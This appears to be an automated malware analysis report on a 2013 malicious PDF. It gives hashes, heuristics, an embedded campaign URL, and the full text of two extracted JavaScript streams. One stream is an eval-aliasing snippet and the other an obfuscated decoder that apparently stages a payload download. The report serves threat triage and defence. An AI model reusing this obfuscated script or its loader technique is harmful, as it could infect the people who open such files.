Malicious PDF — malware analysis report

Static analysis result for SHA-256 ba3396e2867614d7…

MALICIOUS

PDF

2.7 KB First seen: 2013-06-26
MD5: 7700220b54110fca901b78052f8bfd85 SHA-1: 2aa1320bb5b83951c5c9c30b7118b5301d679e02 SHA-256: ba3396e2867614d7d70a0e663add36c1dc12d539d1f5f55897f691636669eedf
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript streams, one of which utilizes eval() and String.fromCharCode() for obfuscation. This indicates an attempt to hide malicious code execution. The extracted JavaScript files, 'javascript_obj111711_000.js' and 'javascript_obj111712_001.js', are likely responsible for downloading and executing a secondary payload. Due to the obfuscation and lack of specific indicators, the exact family remains unknown.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/hsxlc/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 370 bytes
SHA-256: 55b2b4f546c2a06b7b0de30eb4bdf92da820cbf8b56113aa422e6373b1e652ea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/hsxlc/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x246 3014 bytes
SHA-256: b5749012a9301fa9b1db1f0e66861e315e6f41da1b6f15c5351e7b0610c960c8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
ymelfm="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";bojmyli="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3LV,.ZX8K6OQ:JTCN2*Eg2**.3OZ+,EGeR;=JXK8W:2<Z*T.OeJK96,N2/5+,<-^2;O^T:OJg]._Z9K96*>2T`JK5+h_3dNT:LT@,.]@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R;=J,.+`HK9C:V2U+>K*5]R:**2<SQK,<V*:Qi1:LLXS,DCER<QEV2RR@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK3I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,4F*:J8U_3f4/K/B4N2+Ha.**,.TCc:NU*.3jK_2RUT:PP@e.Saf,44/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>?QZJ**:J**:J**:J**:J**:J**:J**:J**:QCD>3OS@K8Xf2=*N.34b8K58fc<`*,.db?K5>e_3[H/,Fe;B<:S/K*,^R=VW4.Z3@K8U2V3Cb4K8W`R=VN@.NT<R=3*.3ag4.OhVK8?a:KKJ+,?5cR<VY/,>+::NVCV2>?ER=[?O,4G>>2CW*K*+?2:**2:^*?,*?[N2**.2]fXK9Z/:J/FC,**+,<-^2=`<i.G<Q:KP*T.*UM2:**2:]ffR:,XU,**+,*SO_2c^gK**,ZM-*,.+=5R;[Qd,**/K6**K0A66K9Z/:J/FC,**+,CU-2<c[=R=8CG,IJ4K*4c].**,.SbLK5SH4.U=1:M8TT.OE+:PD/R==54K6b;:O^K4K*?R:KCIN2**@.>c*K+GAR;ObG,D/1:J4*V2eYd,**/K9.*:M5TG,IJ4K*4c].**,._]LR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I]>3@XI,?U@V3Pd@.+^-2=ZSV2BBUB:,]W,EGSN3P>?,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2<>XU,G=WK8G`B=5GD.Wb?K8SZR<^X].N*+,Gb@K3+52:XhD.OjC,*1C,<5]R<<XG,/bYK8i::J+22<?Xi.N.U:KDTC,G:WB<<SC,FfK:LS4O,/`>R=TgT.5AUR=KG_3a<5,GAXK,`Og2AHS,GgJK/?N.2TfK:J*UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UV***.7RM`BE]hJ*jQ[-_:0WAbP[[c:K,5P-.QB6iP282KbA`0=Dh9.22++,,*:1Lga89,.2<GJ^eBJcO@SU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf4N1.HJ`K:4+:4.7RJ7GJ**,g:a]*`a***0[[c:K,?@M.HUP-.A5`-@DKG8:F:0[/]h:`PRA=NA[3VAdX0^a?E.A5`-@DKG8:h1ROc_11K,.2:M+KS^G5OeKU7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI>C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XZ*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]aMgjU@fGKMg9e_7LL_ehD-`iV9M5cjY7MMZK-<";flauh=2757;ivcvjp=new Array();while(ymelfm.length){ivcvjp.push((albwyn(ymelfm.charCodeAt(0))<<(4+2))+albwyn(ymelfm.charCodeAt(1))-(500+12));ymelfm=ymelfm.slice(2,ymelfm.length)}iukmx1=xzezhl=ymelfm=0;epbuetc='';function albwyn(avytfuh){if(avytfuh>92)avytfuh--;return avytfuh-42}function jthve(){if(ymelfm==0){xzezhl=albwyn(bojmyli.charCodeAt(iukmx1++));ymelfm=6;}return ((xzezhl>>--ymelfm)&0x01);}while(flauh--){i=0;while(ivcvjp[i]<0){if(jthve())i=-ivcvjp[i];else i++;}epbuetc+=String.fromCharCode(ivcvjp[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.